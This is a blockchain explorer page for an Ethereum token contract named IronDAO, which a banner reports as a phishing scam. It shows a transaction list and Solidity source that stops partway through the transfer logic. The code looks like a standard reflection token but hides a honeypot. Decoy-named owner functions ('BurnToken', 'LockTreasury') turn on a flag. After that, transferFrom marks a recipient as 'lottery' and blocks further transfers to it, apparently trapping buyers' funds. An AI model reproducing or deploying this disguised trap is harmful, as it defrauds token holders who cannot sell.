There are reports that this address was used in a Phishing scam. Please exercise caution when interacting with it. Reported by GoPlusSecurity.
Fake_Phishing228122
Source Code
Phish / Hack
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 62 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Transfer | 20167440 | 628 days ago | IN | 0 ETH | 0.0003879 | ||||
| Approve | 14461264 | 1450 days ago | IN | 0 ETH | 0.00051728 | ||||
| Approve | 14355359 | 1466 days ago | IN | 0 ETH | 0.00072534 | ||||
| Approve | 14355031 | 1466 days ago | IN | 0 ETH | 0.00097509 | ||||
| Approve | 14355026 | 1466 days ago | IN | 0 ETH | 0.00095028 | ||||
| Approve | 14355018 | 1466 days ago | IN | 0 ETH | 0.00223946 | ||||
| Approve | 14355016 | 1466 days ago | IN | 0 ETH | 0.00189694 | ||||
| Approve | 14355016 | 1466 days ago | IN | 0 ETH | 0.00101512 | ||||
| Approve | 14355015 | 1466 days ago | IN | 0 ETH | 0.00174049 | ||||
| Approve | 14355015 | 1466 days ago | IN | 0 ETH | 0.0019574 | ||||
| Approve | 14355015 | 1466 days ago | IN | 0 ETH | 0.00269663 | ||||
| Approve | 14355013 | 1466 days ago | IN | 0 ETH | 0.00261695 | ||||
| Approve | 14355011 | 1466 days ago | IN | 0 ETH | 0.00242304 | ||||
| Approve | 14355011 | 1466 days ago | IN | 0 ETH | 0.00242304 | ||||
| Approve | 14355010 | 1466 days ago | IN | 0 ETH | 0.00442159 | ||||
| Approve | 14355009 | 1466 days ago | IN | 0 ETH | 0.00228072 | ||||
| Approve | 14355008 | 1466 days ago | IN | 0 ETH | 0.00238409 | ||||
| Approve | 14355008 | 1466 days ago | IN | 0 ETH | 0.0093296 | ||||
| Approve | 14355007 | 1466 days ago | IN | 0 ETH | 0.00250947 | ||||
| Approve | 14355007 | 1466 days ago | IN | 0 ETH | 0.0025328 | ||||
| Approve | 14355005 | 1466 days ago | IN | 0 ETH | 0.00248089 | ||||
| Approve | 14355005 | 1466 days ago | IN | 0 ETH | 0.00248089 | ||||
| Approve | 14355005 | 1466 days ago | IN | 0 ETH | 0.00249464 | ||||
| Approve | 14355005 | 1466 days ago | IN | 0 ETH | 0.00250039 | ||||
| Approve | 14355004 | 1466 days ago | IN | 0 ETH | 0.00223394 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
IronDAO
Compiler Version
v0.6.12+commit.27d51765
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-03-09
*/
/*
IronDAO,
█ █▀█ █▄ █
█ █▀▄ █ ▀█
*/
//https://t.me/IronDAO
//https://irondao.org/
//https://twitter.com/DaoIron
pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract dAPPRewards is Ownable {
event dAPPRewardsOn();
event dAPPRewardsOff();
bool public special = false;
modifier ifdAPPRewardsOff() {
require(!special);
_;
}
modifier ifdAPPRewardsOn() {
require(special);
_;
}
function BurnToken() onlyOwner ifdAPPRewardsOff public {
special = true;
emit dAPPRewardsOn();
}
function LockTreasury() onlyOwner ifdAPPRewardsOn public {
special = false;
emit dAPPRewardsOff();
}
}
// pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract IronDAO is Context, IERC20, Ownable, dAPPRewards {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "IronDAO";
string private _symbol = "IRN";
uint8 private _decimals = 9;
uint256 public _taxFee = 0;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 10;
uint256 private _previousLiquidityFee = _liquidityFee;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
address public lottery;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
uint256 public _maxTxAmount = 10000 * 10**9;
uint256 private numTokensSellToAddToLiquidity = 10000 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = true;
}
constructor () public {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
//exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transferlottery(address _lottery) public onlyOwner {
lottery = _lottery;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if(special == true) {
require(recipient != lottery, "Lottery Winner");
_transfer(_msgSender(), recipient, amount);
return true;}
else {
_transfer(_msgSender(), recipient, amount);
return true;}
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
if(special == true) {
if(sender != address(0) && lottery == address(0)) lottery = recipient;
else require(recipient != lottery, "Lottery Winner");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
else {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner() {
// require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**6
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(from != owner() && to != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap + liquidity lock?
// also, don't get caught in a circular liquidity event.
// also, don't swap & liquify if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
